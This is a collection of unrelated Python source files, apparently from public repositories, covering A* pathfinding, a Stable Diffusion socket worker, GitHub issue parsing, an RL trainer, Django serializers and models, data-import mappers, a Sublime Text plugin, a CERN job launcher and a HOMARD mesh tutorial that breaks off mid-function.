from globals import *

def distance(a, b) :
    return math.sqrt((a.pos[0] - b.pos[0])**2 + (a.pos[1] - b.pos[1])**2 + (a.pos[2] - b.pos[2])**2)

class Node() :
    def __init__(self, x,y,z, type, g_score=-1, f_score=-1, prev_node=None) :
        self.pos = [x,y,z]
        self.type = type
        self.g_score = g_score
        self.f_score = f_score
        self.prev_node = prev_node

    def __repr__(self) :
        return "Node ({};{};{}) - <type: {}, g_score: {}, f_score: {}>".format(self.pos[0],self.pos[1],self.pos[2], self.type, self.g_score, self.f_score)

class Path() :
    def __init__(self, top_node, world_offset) :
        top_node.pos[0] += world_offset[0]
        top_node.pos[2] += world_offset[1]
        self.nodes = [top_node]
        while top_node.prev_node :
            top_node = top_node.prev_node
            top_node.pos[0] += world_offset[0]
            top_node.pos[2] += world_offset[1]
            self.nodes.append(top_node)

        self.nodes.reverse()

    def has_next_node(self) :
        return len(self.nodes) > 0

    def get_next_node(self) :
        next_node = self.nodes[0]
        self.nodes.pop(0)
        return next_node

class AStar() :
    def __init__(self, start_node=None, end_node=None, block_data=None) :
        self.nodes = []
        self.open_set = []
        self.closed_set = []
        self.start_node = start_node
        self.end_node = end_node
        self.block_data = block_data

    def _block_allowed(self, block_data, x,y,z) :
        if block_data[x][y][z] > 0 :
            return False
        if y > 0 :
            if y < len(block_data[0])-2 :
                if block_data[x][y-1][z] > 0 :# and block_data[x][y][z] == 0 : #and block_data[x][y+1][z] == 0 :
                    return True
            else :
                if y == len(block_data[0]) - 1 : #Build limit. Might be 1 block under build limit tho lol
                    return False #Let's not yet give it the go single for this lol. Still need to look into this

        return False

    def _block_data_to_nodes(self, block_data) :
        block_data_size_x = len(block_data)
        block_data_size_y = len(block_data[0])
        block_data_size_z = len(block_data[0][0])

        for x in range(block_data_size_x) :
            for y in range(block_data_size_y) :
                for z in range(block_data_size_z) :
                    if x != self.start_node.pos[0] or y != self.start_node.pos[1] or z != self.start_node.pos[2] :
                        if x != self.end_node.pos[0] or y != self.end_node.pos[1] or z != self.end_node.pos[2] :
                            if self._block_allowed(block_data, x,y,z) :
                                node = Node(x,y,z, "normal")
                                self.nodes.append(node)
                    #     else :
                    #         print("End node!")
                    # else :
                    #     print("Start node!")

    def _get_lowest_f_cost(self) :
        lowest_node = None
        for node in self.open_set :
            if lowest_node :
                if node.f_score < lowest_node.f_score :
                    lowest_node = node
            else :
                lowest_node = node
        return lowest_node

    def _nodes_equal(self, a,b) :
        return a.pos[0] == b.pos[0] and a.pos[1] == b.pos[1] and a.pos[2] == b.pos[2]# and a.type == b.type

    def _remove_node_open(self, node) :
        self.open_set = [item for item in self.open_set if self._nodes_equal(node, item) == False]

    def _remove_node_closed(self, node) :
        self.closed_set = [item for item in self.closed_set if self._nodes_equal(node, item) == False]

    def _node_in_open(self, node) :
        for item in self.open_set :
            if self._nodes_equal(node, item) :
                return True
        return False

    def _node_in_closed(self, node) :
        for item in self.closed_set :
            if self._nodes_equal(node, item) :
                return True
        return False

    def _is_neighbour(self, node, item) :
        # for i in range(-1,2) :
        #     for j in range(-1,2) :
        #         for k in range(-1,2) :
        #             if i != 0 and j != 0 and k != 0 :
        #                 if node.pos[0] + i == item.pos[0] and node.pos[1] + j == item.pos[1] and node.pos[2] + k == item.pos[2] :
        #                     return True
        dist = math.floor(distance(node, item) * 10)
        if (not self._nodes_equal(node, item)) and dist < 18 :
            return True
        return False

    def _is_neighbour_allowed(self, node, item) :
        dx = node.pos[0] - item.pos[0]
        dy = node.pos[1] - item.pos[1]
        dz = node.pos[2] - item.pos[2]
        if self.block_data[node.pos[0] - dx][node.pos[1]][node.pos[2]] > 0 :
            return False
        if self.block_data[node.pos[0]][node.pos[1] - dy][node.pos[2]] > 0 :
            return False
        if self.block_data[node.pos[0]][node.pos[1]][node.pos[2] - dz] > 0 :
            return False

        return True

    def _get_neighbours(self, node) :
        neighbours = []
        for item in self.nodes :
            if self._is_neighbour(node, item) and self._is_neighbour_allowed(node, item) :
                neighbours.append(item)
        return neighbours

    def step(self) :
        current = self._get_lowest_f_cost()
        # print("Current: {}".format(current))
        if current == None :
            print("Wtf, open set is empty?")
            return True
        self.last_node = current
        if current.type == "goal" :
            return True

        self._remove_node_open(current)
        self.closed_set.append(current)

        neighbours = self._get_neighbours(current)
        # print(len(neighbours))
        for neighbour in neighbours :
            tentative_g_score = neighbour.g_score + math.floor(distance(current, neighbour) * 10)
            if self._node_in_closed(neighbour) and tentative_g_score >= neighbour.g_score :
                continue

            if (not self._node_in_open(neighbour)) or tentative_g_score < neighbour.g_score or neighbour.g_score == -1 :
                neighbour.prev_node = current
                neighbour.g_score = tentative_g_score
                neighbour.f_score = tentative_g_score + math.floor(distance(neighbour, self.start_node) * 10)
                if not self._node_in_open(neighbour) :
                    self.open_set.append(neighbour)

    def new_path(self, start_node, end_node, block_data, block_data_offset) :
        now = time.process_time()
        print("Pathing started!")
        self.start_node = start_node
        self.end_node = end_node
        self.block_data = block_data
        self.block_data_offset = block_data_offset

        self.nodes = []
        self.open_set = []
        self.closed_set = []

        self.nodes.append(start_node)
        self.nodes.append(end_node)
        self.open_set.append(start_node)
        self.last_node = self.nodes[0]

        self._block_data_to_nodes(block_data)

        # print("{} nodes to consider...".format(len(self.nodes)))

        steps = 0
        max_steps = 1000
        result = None

        while len(self.open_set) > 0 and steps < max_steps :
            result = self.step()
            # print("Step!")
            steps += 1

        if result :
            print("Reached the end!")
            # self.last_node.pos[0] += block_data_offset[0]
            # self.last_node.pos[2] += block_data_offset[1]
            # print("Last node processed:\n{}".format(self.last_node))
        else :
            # self.last_node.pos[0] += block_data_offset[0]
            # self.last_node.pos[2] += block_data_offset[1]
            print("Somehow didn't reach the end. Last node processed:\n{}".format(self.last_node))
        # print("Reconstructing path...")
        path = Path(self.last_node, block_data_offset)
        # print("Path reconstructed!")
        print("Pathing took {}ms".format( (time.process_time() - now) * 1000 ))
        return path
        # sys.exit(0)


import base64
import json
import io
import numpy as np
import settings
import messagecodes as codes
from PIL import Image
# from database import DBConnection
from runner import SDRunner
from logger import logger
from exceptions import FailedToSendError
from simple_enqueue_socket_server import SimpleEnqueueSocketServer

class StableDiffusionRequestQueueWorker(SimpleEnqueueSocketServer):
    """
    A socket server that listens for requests and enqueues them to a queue
    """
    sdrunner = None

    def callback(self, data):
        """
        Handle a stable diffusion request message
        :return: None
        """
        reqtype = None
        try:
            # convert ascii to json
            data = json.loads(data.decode("ascii"))
            # get reqtype based on action in data
            self.image_size = data.get("W", None)
            reqtype = data["action"]
        except UnicodeDecodeError as err:
            logger.error(f"something went wrong with a request from the client")
            logger.error(f"UnicodeDecodeError: {err}")
            return
        except json.decoder.JSONDecodeError as err:
            logger.error(f"Improperly formatted request from client")
            return
        data["reqtype"] = reqtype

        self.reqtype = reqtype
        if reqtype in ["txt2img", "img2img", "inpaint", "outpaint"]:
            self.sdrunner.generator_sample(data, self.handle_image)
            logger.info("Image sample complete")
        elif reqtype == "convert":
            logger.info("Convert CKPT file")
            self.sdrunner.convert(data)
        elif reqtype == "update":
            logger.info("update to latest version")
            self.update_versions()
        else:
            logger.error(f"NO IMAGE RESPONSE for reqtype {reqtype}")

    def handle_image(self, image, options):
        opts = options["options"] if "options" in options else {"pos_x":0, "pos_y": 0}
        message = {
            "image": base64.b64encode(image).decode(),
            "reqtype": options["reqtype"],
            "pos_x": opts["pos_x"],
            "pos_y": opts["pos_y"],
        }
        if message is not None and message != b'':
            try:
                self.message_client(message)
                if not self.soc_connection:
                    raise FailedToSendError()
            except FailedToSendError as ect:
                logger.error("failed to send message")
                self.cancel()
                logger.error(ect)
                self.reset_connection()

    def prep_image(self, response, _options, dtype=np.uint8):
        # logger.info("sending response")
        buffered = io.BytesIO()
        Image.fromarray(response.astype(dtype), 'RGB').save(buffered)
        image = buffered.getvalue()
        return image

    def cancel(self):
        self.sdrunner.cancel()

    def response_queue_worker(self):
        """
        Wait for responses from the stable diffusion runner and send
        them to the client
        """

    def stop(self):
        super().stop()
        self.quit_event.set()

    def init_sd_runner(self):
        """
        Initialize the stable diffusion runner
        return: None
        """
        logger.info("Starting Stable Diffusion Runner")
        self.sdrunner = SDRunner(tqdm_callback=self.tqdm_callback)

    def do_start(self):
        # create a stable diffusion runner service
        self.start_thread(
            target=self.response_queue_worker,
            name="response queue worker"
        )
        sd_runner_thread = self.start_thread(
            target=self.init_sd_runner,
            name="init stable diffusion runner"
        )
        sd_runner_thread.join()

    def tqdm_callback(self, step, total_steps):
        msg = {
            "action": codes.PROGRESS,
            "step": step,
            "total":total_steps,
            "reqtype": self.reqtype
        }
        self.message_client(msg)

    def __init__(self, *args, **kwargs):
        """
        Initialize the worker
        """
        # self.db = DBConnection('database.db', b'key')
        #self.db.insert_txt2img_sample(1, 2, b'sample', 42, 100, 100, 10, 0.5, 'model', 'scheduler')

        self.model_base_path = kwargs.pop("model_base_path", None)
        self.max_client_connections = kwargs.get("max_client_connections", 1)
        self.port = kwargs.get("port", settings.DEFAULT_PORT)
        self.host = kwargs.get("host", settings.DEFAULT_HOST)
        self.do_timeout = kwargs.get("do_timeout", False)
        self.safety_model = kwargs.get("safety_model")
        self.model_version = kwargs.get("model_version")
        self.safety_feature_extractor = kwargs.get("safety_feature_extractor")
        self.safety_model_path = kwargs.get("safety_model_path"),
        self.safety_feature_extractor_path = kwargs.get("safety_feature_extractor_path")
        self.packet_size = kwargs.get("packet_size", settings.PACKET_SIZE)
        self.do_start()
        super().__init__(*args, **kwargs)


from api.dao.dao_interface import DAOInterface
from api.dao.labelDAO import LabelDAO

__author__ = "Caio Barbosa"
__license__ = "GPL"
__version__ = "1.0"
__maintainer__ = "Caio Barbosa"
__email__ = "csilva@inf.puc-rio.br"
__status__ = "Production"

class IssueDAO(DAOInterface):

    def __init__(self):
        self.id = -1
        self.issue_number = -1
        self.state = ""
        self.title = ""
        self.body = ""
        self.locked = False
        self.user = ''
        self.labels = []
        self.assignees = []
        self.comments = 0
        self.created_at = ""
        self.updated_at = ""
        self.closed_at = ""
        self.author_association = ""
        self.pull_request = False
        self.closed_by = ''

    def read_from_json(self, issue: dict):
        """
        Filters the GitHub API JSON to collect only the proposed fields.

        :param issue: json containing the issue object from the GitHub API
        :type issue: dict
        """
        self.id = issue['id']
        self.issue_number = issue['number']
        self.state = issue['state']
        self.title = issue['title']
        self.body = issue['body']
        self.locked = issue['locked']

        if issue['user']:
            self.user = issue['user']['login']

        if issue['labels']:
            self.labels = []
            for labelJSON in issue['labels']:
                label = LabelDAO()
                label.read_from_json(labelJSON)
                self.labels.append(label.__dict__)

        if issue['assignees']:
            self.assignees = []
            for userJSON in issue['assignees']:
                self.assignees.append(userJSON['login'])

        self.comments = issue['comments']
        self.created_at = issue['created_at']
        self.updated_at = issue['updated_at']
        self.closed_at = issue['closed_at']
        self.author_association = issue['author_association']

        if 'pull_request' in issue.keys():
            self.pull_request = True

        if issue['closed_by']:
            self.closed_by = issue['closed_by']['login']


r"""Trainer for RL environments.

For now we only support PPO as RL algorithm.

Sample invocation:

.. code-block:: bash

    TRAIN_BATCH_SIZE=32
    python trax/rl_trainer.py \
      --config_file=trax/rl/configs/ppo_acrobot.gin \
      --train_batch_size=${TRAIN_BATCH_SIZE} \
      --output_dir=${HOME}/ppo_acrobot \
      --alsologtostderr
"""

import faulthandler

from absl import app
from absl import flags
from absl import logging
import gin
import jax
from jax import config
from trax import fastmath
from trax import rl  # pylint: disable=unused-import
from trax import trainer_flags  # pylint: disable=unused-import
from trax.rl import task as rl_task
from trax.rl import training as light_trainers
from trax.tf_numpy import numpy as tf_np

FLAGS = flags.FLAGS

# Not just 'train' to avoid a conflict with trax.train in GIN files.
@gin.configurable(denylist=['output_dir'], module='trax')
def train_rl(
    output_dir,
    n_epochs=10000,
    light_rl=True,
    light_rl_trainer=light_trainers.PolicyGradient):
  """Train the RL agent.

  Args:
    output_dir: Output directory.
    n_epochs: Number epochs to run the training for.
    light_rl: deprecated, always True, left out for old gin configs.
    light_rl_trainer: which light RL trainer to use (experimental).
  """
  del light_rl
  tf_np.set_allow_float64(FLAGS.tf_allow_float64)
  task = rl_task.RLTask()
  env_name = task.env_name

  if FLAGS.jax_debug_nans:
    config.update('jax_debug_nans', True)

  if FLAGS.use_tpu:
    config.update('jax_platform_name', 'tpu')
  else:
    config.update('jax_platform_name', '')

  trainer = light_rl_trainer(task=task, output_dir=output_dir)
  def light_training_loop():
    """Run the trainer for n_epochs and call close on it."""
    try:
      logging.info('Starting RL training for %d epochs.', n_epochs)
      trainer.run(n_epochs, n_epochs_is_total_epochs=True)
      logging.info('Completed RL training for %d epochs.', n_epochs)
      trainer.close()
      logging.info('Trainer is now closed.')
    except Exception as e:
      raise e
    finally:
      logging.info('Encountered an exception, still calling trainer.close()')
      trainer.close()
      logging.info('Trainer is now closed.')

  if FLAGS.jax_debug_nans or FLAGS.disable_jit:
    fastmath.disable_jit()
    with jax.disable_jit():
      light_training_loop()
  else:
    light_training_loop()

def main(argv):
  del argv
  logging.info('Starting RL training.')

  gin_configs = FLAGS.config if FLAGS.config is not None else []
  gin.enter_interactive_mode()
  gin.parse_config_files_and_bindings(FLAGS.config_file, gin_configs)
  gin.exit_interactive_mode()

  logging.info('Gin config:')
  logging.info(gin_configs)

  train_rl(output_dir=FLAGS.output_dir)

  # TODO(afrozm): This is for debugging.
  logging.info('Dumping stack traces of all stacks.')
  faulthandler.dump_traceback(all_threads=True)

  logging.info('Training is done, should exit.')

if __name__ == '__main__':
  app.run(main)


from rest_framework import serializers, permissions
from application.models import Application
from django.contrib.auth.models import User
from rest_framework import permissions

class ApplicationSerializer(serializers.HyperlinkedModelSerializer):
    # Fields that need validation
    github = serializers.URLField(max_length = 250)
    linkedin = serializers.URLField(max_length = 250)
    graduation_date = serializers.DateField()
    is_eighteen = serializers.BooleanField(default = False)
    agreed = serializers.BooleanField(default = False)
    other_dietary_restrictions = serializers.CharField(allow_blank = True)
    allergies = serializers.CharField(allow_blank = True)
    other_gender_field = serializers.CharField(allow_blank = True)
    other_ethnicity = serializers.CharField(allow_blank = True)
    anything_else = serializers.CharField(allow_blank = True)

    # Validators for fields
    def validate_github(self, value):
        if 'https://github.com/' not in value:
            raise serializers.ValidationError('Invalid Github link,' +
                ' please make sure that the link contains http://github.com/')
        return value
    def validate_linkedin(self, value):
        if 'https://www.linkedin.com/in/' not in value:
            raise serializers.ValidationError('Invalid LinkedIn link, ' +
                'please make sure that the link contains http://linkedin.com/in/')
        return value
    def validate_graduation_date(self, value):
        year = 2019
        month = 2
        day = 3
        if value.year < year:
            raise serializers.ValidationError(
                'Invalid Date: Applicant graduated before the event')
        elif value.year == year:
            if value.month < month:
                raise serializers.ValidationError(
                    'Invalid Date: Applicant graduated before the event')
            if value.month == month:
                if value.day <= day:
                    raise serializers.ValidationError(
                        'Invalid Date: Applicant graduated before the event')
        return value
    def validate_is_eighteen(self, value):
        if not value:
            raise serializers.ValidationError('Invalid Age: Applicant must be 18')
        return value
    def validate_agreed(self, value):
        if not value:
            raise serializers.ValidationError('Invalid: Applicant must agree' +
            ' to the code of conduct')
        return value

    class Meta:
       model = Application
       fields = ('id','first_name', 'last_name', 'email',
       'phone_number','is_eighteen', 'school', 'graduation_date', 'major',
        'city', 'dietary_restrictions','other_dietary_restrictions', 'allergies',
         'github', 'linkedin','personal_website', 'resume', 'short_answer',
          'gender', 'other_gender_field', 'ethnicity', 'other_ethnicity', 'anything_else', 'agreed')
class UserSerializer(serializers.HyperlinkedModelSerializer):
    class Meta:
        model = User
        fields = ('url', 'id', 'username', 'password')


# -*- coding: utf-8 -*-

from imio.urban.dataimport.mapper import BaseMapper, Mapper, SimpleMapper,\
    PostCreationMapper, FinalMapper, SimpleStringMapper
from imio.urban.dataimport.MySQL.interfaces import IMySQLMapper
from imio.urban.dataimport.exceptions import NoObjectToCreateException

from zope.interface import implements

class MySQLBaseMapper(BaseMapper):

    implements(IMySQLMapper)

    def __init__(self, MySQL_importer, args, table_name=None):
        super(MySQLBaseMapper, self).__init__(MySQL_importer, args)
        self.db_name = self.importer.db_name
        self.table_name = table_name or self.importer.table_name

    def getData(self, valuename, line=''):
        data = super(MySQLBaseMapper, self).getData(valuename, line)
        if data and type(data) is str:
            data = data.decode('iso-8859-1')
        return data

class MySQLMapper(MySQLBaseMapper, Mapper):
    """ """

class MySQLSimpleMapper(MySQLBaseMapper, SimpleMapper):
    """ """

class MySQLSimpleStringMapper(MySQLBaseMapper, SimpleStringMapper):
    """ """

class MySQLPostCreationMapper(MySQLMapper, PostCreationMapper):
    """" """

class MySQLFinalMapper(MySQLMapper, FinalMapper):
    """" """

class SubQueryMapper(MySQLMapper):

    def __init__(self, mysql_importer, args):
        super(SubQueryMapper, self).__init__(mysql_importer, args)
        self.table = args['table']
        self.query = self.init_query(self.table)

    def init_query(self, table):
        datasource = self.importer.datasource
        query = datasource.session.query(datasource.get_table(table))
        return query

class SecondaryTableMapper(SubQueryMapper):

    def __init__(self, mysql_importer, args):
        args['from'] = args.get('from', [args['KEYS']])
        args['to'] = args.get('to', [])
        super(SecondaryTableMapper, self).__init__(mysql_importer, args)
        self.key = args['KEYS']
        self.key_column = self.key[1]
        self.mappers = self._setMappers(args.get('mappers', {}))

    def _setMappers(self, mappers_dscr):
        mappers = []
        for mapper_class, mapper_args in mappers_dscr.iteritems():
            if IMySQLMapper.implementedBy(mapper_class):
                mapper = mapper_class(self.importer, mapper_args, table_name=self.table)
            else:
                mapper = mapper_class(self.importer, mapper_args)
            setattr(mapper, 'key_column', self.key_column)
            mappers.append(mapper)
        return mappers

    def map(self, line, **kwargs):
        objects_args = {}
        lines = self.query_secondary_table(line)
        if lines:
            secondary_line = lines[0]
            for mapper in self.mappers:
                mapper.line = secondary_line
                objects_args.update(mapper.map(secondary_line, **kwargs))
        else:
            raise NoObjectToCreateException
        return objects_args

    def query_secondary_table(self, line):
        lines = self.query.filter_by(**{self.key[1]: self.getData(self.key[0], line=line)}).all()
        return lines

class MultiLinesSecondaryTableMapper(SecondaryTableMapper):

    def map(self, line, **kwargs):
        objects_args = []
        lines = self.query_secondary_table(line)
        for secondary_line in lines:
            for mapper in self.mappers:
                mapper.line = secondary_line
                objects_args.append(mapper.map(line, **kwargs))
        return objects_args

class FieldMultiLinesSecondaryTableMapper(SecondaryTableMapper):

    def map(self, line, **kwargs):
        mapped = {}
        lines = self.query_secondary_table(line)
        for dest in self.destinations:
            values = []
            for secondary_line in lines:
                mapping_method = 'map%s' % dest.capitalize()
                if hasattr(self, mapping_method):
                    value = getattr(self, mapping_method)(secondary_line)
                    if value not in values:
                        values.append(value)
                else:
                    print ('NO MAPPING METHOD FOUND' % self)
                    print ('target field : %s' % dest)
            mapped[dest] = values
        return mapped


# -*- coding: utf-8 -*-
from django.db import models
from django.contrib.auth.models import User

from django.contrib.auth.signals import user_logged_in
from django.db.models.signals import pre_save, post_save, post_delete

from django.utils.text import slugify

from django.db import transaction

from datetime import timedelta, date
import datetime

from professeurs.models import Professeur
from etudiants.models import Etudiant

class Matiere(models.Model):
    nom_complet = models.CharField(max_length=200)
    abreviation = models.CharField(max_length=200)

    def __str__(self):
        return self.nom_complet

class CoursParticulier(models.Model):
    date_cours = models.DateTimeField(blank=True, null=True)
    professeur = models.ForeignKey(Professeur, blank=True, null=True)
    eleves = models.ManyToManyField(Etudiant, blank=True, null=True)
    heure_debut = models.TimeField(blank=True, null=True)
    heure_fin = models.TimeField(blank=True, null=True)
    eleve_a_paye = models.BooleanField(default=False)
    prof_paye = models.BooleanField(default=False)
    tarif_horaire_eleve = models.CharField(max_length=200, default=30)
    tarif_horaire_prof =  models.CharField(max_length=200, default=20)
    remarque = models.TextField(blank=True, null=True)
    matiere = models.ForeignKey(Matiere)
    description = models.TextField(blank=True, null=True)

    def __str__(self):
      if self.professeur:
        return self.professeur.prenom +' - '+ str(self.date_demande.strftime('%d/%m/%Y'))
      else :
        return "Pas de prof attribué - " + str(self.date_demande.strftime('%d/%m/%Y'))

statuts = (('attente','En attente'),('regle','Cours créé'),('decline','Demande déclinéé'),)
class DemandeCP(models.Model):
    date_demande = models.DateTimeField(auto_now_add=True)
    matiere = models.ForeignKey(Matiere)
    email_contact = models.EmailField()
    tel_contact = models.CharField(max_length=20)
    user = models.ForeignKey(User, blank=True, null=True)
    statut = models.CharField(max_length=40, choices=statuts, default="attente")
    cours_particulier = models.ForeignKey(CoursParticulier, blank=True, null=True)
    remarque = models.TextField(blank=True, null=True)

    def __str__(self):
      counter = len(DemandeCP.objects.all())
      return "Demande en " + self.matiere.nom_complet


import sublime, sublimeplugin
import os

class NewSnippetCommand(sublimeplugin.WindowCommand):
	def run(self, window, args):

		view = window.newFile()

		path = sublime.packagesPath() + u"/user"

		try:
			os.chdir(path)
		except Exception:
			pass

		view.options().set("syntax", "Packages/XML/XML.tmLanguage")
		view.options().set("forcedExtension", "sublime-snippet")

		prefix = """<!-- See http://www.sublimetext.com/docs/snippets for more information -->
<snippet>
	<content><![CDATA["""

		contents = "Type your snippet here"

		suffix = """]]></content>
	<!-- Optional: Tab trigger to activate the snippet -->
	<tabTrigger>xyzzy</tabTrigger>
	<!-- Optional: Scope the tab trigger will be active in -->
	<scope>source.python</scope>
	<!-- Optional: Description to show in the menu -->
	<description>My Fancy Snippet</description>
</snippet>
"""

		start = view.insert(0, prefix)
		end = start + view.insert(view.size(), contents)
		view.insert(view.size(), suffix)

		view.sel().clear()
		view.sel().add(sublime.Region(start, end))


'''
Launching simulations either SPS flattop or LHC injection.

Author: Birk Emil Karlsen-Baeck
'''

# Imports -------------------------------------------------------------------------------------------------------------
import argparse
import os
from lxplus_setup.parsers import simulation_argument_parser, sps_llrf_argument_parser, lhc_llrf_argument_parser, \
    generate_parsed_string
from lxplus_setup.staging_simulations import stage_data_for_simulation, stage_out_simulation_results
from datetime import date

# Arguments -----------------------------------------------------------------------------------------------------------
parser = argparse.ArgumentParser(parents=[simulation_argument_parser(),
                                          sps_llrf_argument_parser(),
                                          lhc_llrf_argument_parser()],
                                 description="This file launches simulations in lxplus.",
                                 add_help=True, prefix_chars='~')

parser.add_argument('~~machine', '~ma', type=str, choices=['sps', 'lhc'], default='lhc',
                    help='Choose accelerator to simulate in; default is the SPS.')
job_flavours = ['espresso',         # 20 minutes
                'microcentury',     # 1 hour
                'longlunch',        # 2 hours
                'workday',          # 8 hours
                'tomorrow',         # 1 day
                'testmatch',        # 3 days
                'nextweek']         # 1 week
parser.add_argument('~~flavour', '~f', type=str, choices=job_flavours, default='testmatch',
                    help='Length of allocated for the simulaton; default is testmatch (3 days)')

args = parser.parse_args()

disable = False

# Parameters ----------------------------------------------------------------------------------------------------------
bash_dir = f'/afs/cern.ch/work/b/bkarlsen/sps_lhc_transfer/bash_files/'
sub_dir = f'/afs/cern.ch/work/b/bkarlsen/sps_lhc_transfer/submission_files/'
lxdir = f'/afs/cern.ch/work/b/bkarlsen/sps_lhc_transfer/'
today = date.today()
save_to = lxdir + f'simulation_results/{today.strftime("%b-%d-%Y")}/{args.simulation_name}/'

beam_ID = args.beam_name

# Setting up files to run beam generation -----------------------------------------------------------------------------
bash_file_name = args.simulation_name + '.sh'
sub_file_name = args.simulation_name + '.sub'
file_name = args.simulation_name

print(f'\nGenerating bash and submission file for {file_name}...')

# Bash file
if not disable:
    os.system(f'touch {bash_dir}{bash_file_name}')

inputs = generate_parsed_string(args, sim=True, machine=args.machine)

if args.machine == 'sps':
    script_name = 'sps_flattop'
    stage_data = stage_data_for_simulation(args.beam_name,
                                           'bkarlsen', sps=True, lxplus=not disable)
    stage_data_out = stage_out_simulation_results(save_to, 'bkarlsen', args.simulation_name)
else:
    script_name = 'lhc_injection'
    stage_data = stage_data_for_simulation(args.beam_name, 'bkarlsen',
                                           sps=False, simulated=args.simulated_beam, inj_sch=args.scheme,
                                           lxplus=not disable)
    stage_data_out = stage_out_simulation_results(save_to, 'bkarlsen', args.simulation_name)

bash_content = f'#!/bin/bash\n' \
               f'export EOS_MGM_URL=root://eosuser.cern.ch\n' \
               f'source /afs/cern.ch/user/b/bkarlsen/.bashrc\n' \
               f'{stage_data}\n' \
               f'python3 /afs/cern.ch/work/b/bkarlsen/sps_lhc_transfer/input_files/{script_name}.py ' \
               f'{inputs} ~dte {today.strftime("%b-%d-%Y")} \n\n' \
               f'{stage_data_out}'

if not disable:
    os.system(f'echo "{bash_content}" > {bash_dir}{bash_file_name}')
    os.system(f'chmod a+x {bash_dir}{bash_file_name}')
else:
    print(bash_content)

# Submission file
if not disable:
    os.system(f'touch {sub_dir}{sub_file_name}')

sub_content = f'executable = {bash_dir}{bash_file_name}\n' \
              f'arguments = \$(ClusterId)\$(ProcId)\n' \
              f'output = {bash_dir}{file_name}.\$(ClusterId)\$(ProcId).out\n' \
              f'error = {bash_dir}{file_name}.\$(ClusterId)\$(ProcId).err\n' \
              f'log = {bash_dir}{file_name}.\$(ClusterId)\$(ProcId).log\n' \
              f'+JobFlavour = \\"{args.flavour}\\"\n' \
              f'queue'

if not disable:
    os.system(f'echo "{sub_content}" > {sub_dir}{sub_file_name}')
    os.system(f'chmod a+x {sub_dir}{sub_file_name}')

    os.system(f'condor_submit {sub_dir}{sub_file_name}')


__revision__ = "V4.07"

#========================================================================
TEST_NAME = "tutorial_3"
DEBUG = False
N_ITER_TEST_FILE = 2
#========================================================================
import os
import sys
#
# ==================================
PATH_HOMARD = os.getenv('HOMARD_ROOT_DIR')
# Repertoire des scripts utilitaires
REP_PYTHON = os.path.join(PATH_HOMARD, "bin", "salome", "test", "HOMARD")
REP_PYTHON = os.path.normpath(REP_PYTHON)
sys.path.append(REP_PYTHON)
from test_util import get_dir
from test_util import test_results
# ==================================
# Répertoires pour ce test
REP_DATA, DIRCASE = get_dir(PATH_HOMARD, TEST_NAME, DEBUG)
# ==================================
#
import salome
salome.salome_init_without_session()
import HOMARD
#
import iparameters
IPAR = iparameters.IParameters(salome.myStudy.GetCommonParameters("Interface Applicative", 1))
IPAR.append("AP_MODULES_LIST", "Homard")
#
#
#========================= Debut de la fonction ==================================
#
def homard_exec(nom, ficmed, verbose=False):
  """
Python script for HOMARD
  """
  erreur = 0
  message = ""
  #
  while not erreur :
    #
  #  HOMARD.UpdateStudy()
    #
    # Hypotheses
    # ==========
    if verbose :
      print(". Hypothèses")
    # Hypothese "hypo_0vers1"
    # =======================
    hypo_0vers1 = HOMARD.CreateHypothesis('hypo_0vers1')
    # Characterization of the field
    hypo_0vers1.SetField('SOLU_0__QIRE_ELEM_SIGM__________')
    hypo_0vers1.SetUseComp(0)
    hypo_0vers1.AddComp('ERREST          ')
    hypo_0vers1.SetRefinThr(3, 1.0)
    hypo_0vers1.SetTypeFieldInterp(2)
    hypo_0vers1.AddFieldInterp('SOLU_0__DEPL____________________')
    hypo_0vers1.AddFieldInterp('SOLU_0__ERRE_ELEM_SIGM__________')
    #
    # Hypothese "hypo_1vers2"
    # =======================
    hypo_1vers2 = HOMARD.CreateHypothesis('hypo_1vers2')
    # Characterization of the field
    hypo_1vers2.SetField('SOLU_1__QIRE_ELEM_SIGM__________')
    hypo_1vers2.SetUseComp(0)
    hypo_1vers2.AddComp('ERREST          ')
    hypo_1vers2.SetRefinThr(3, 1.5)
    hypo_1vers2.SetUnRefThr(3, 6.)
    hypo_1vers2.SetTypeFieldInterp(2)
    hypo_1vers2.AddFieldInterp('SOLU_1__DEPL____________________')
    hypo_1vers2.AddFieldInterp('SOLU_1__QIRE_ELEM_SIGM__________')
    #
    # Hypothese "hypo_1vers2_bis"
    # ===========================
    hypo_1vers2_bis = HOMARD.CreateHypothesis('hypo_1vers2_bis')
    # Characterization of the field
    hypo_1vers2_bis.SetField('SOLU_1__DEPL____________________')
    hypo_1vers2_bis.SetUseComp(1)
    hypo_1vers2_bis.AddComp('DX')
    hypo_1vers2_bis.AddComp('DY')
    hypo_1vers2_bis.AddComp('DZ')
    hypo_1vers2_bis.SetRefinThr(1, 0.0001)
    hypo_1vers2_bis.SetUnRefThr(1, 0.000001)
    hypo_1vers2_bis.SetTypeFieldInterp(0)
    #
    # Cas
    # ===
    if verbose :
      print(". Cas")
    le_cas = HOMARD.CreateCase('case_3', nom, ficmed)
    le_cas.SetDirName(DIRCASE)
    #
    # Itérations
    # ==========
    if verbose :
      option = 2
    else :
      option = 1
    if verbose :
      print(". Itérations")
    # Iteration "iter_3_1"
    # ====================
    iter_3_1 = le_cas.NextIteration('iter_3_1')
    iter_3_1.SetMeshName('H_1')
    iter_3_1.SetMeshFile(os.path.join(DIRCASE, "maill.01.med"))
    iter_3_1.SetFieldFile(os.path.join(REP_DATA, "tutorial_3.00.med"))
    iter_3_1.SetTimeStepRank( 1, 1)
    iter_3_1.AssociateHypo('hypo_0vers1')
    erreur = iter_3_1.Compute(1, option)
    if erreur :
      break
    #
    # Iteration "iter_3_2"
    # ====================
    iter_3_2 = iter_3_1.NextIteration('iter_3_2')
    iter_3_2.SetMeshName('H_2')
    iter_3_2.SetMeshFile(os.path.join(DIRCASE, "maill.02.med"))
    iter_3_2.SetFieldFile(os.path.join(REP_DATA, "tutorial_3.01.med"))
    iter_3_2.SetTimeStepRank(1, 1)
    iter_3_2.AssociateHypo('hypo_1vers2')
    erreur = iter_3_2.Compute(1, option)
    if erreur :
      break
    #
    # Iteration "iter_3_2_bis"
    # ========================
    iter_3_2_bis = iter_3_1.NextIteration('iter_3_2_bis')
    iter_3_2_bis.SetMeshName('H_2_bis')
    iter_3_2_bis.SetMeshFile(os.path.join(DIRCASE, "maill.02.bis.med"))
    iter_3_2_bis.SetFieldFile(os.path.join(REP_DATA, "tutorial_3.01.med"))
    iter_3_2_bis.SetTimeStepRank(1, 1)
    iter_3_2_bis.AssociateHypo('hypo_1vers2_bis')
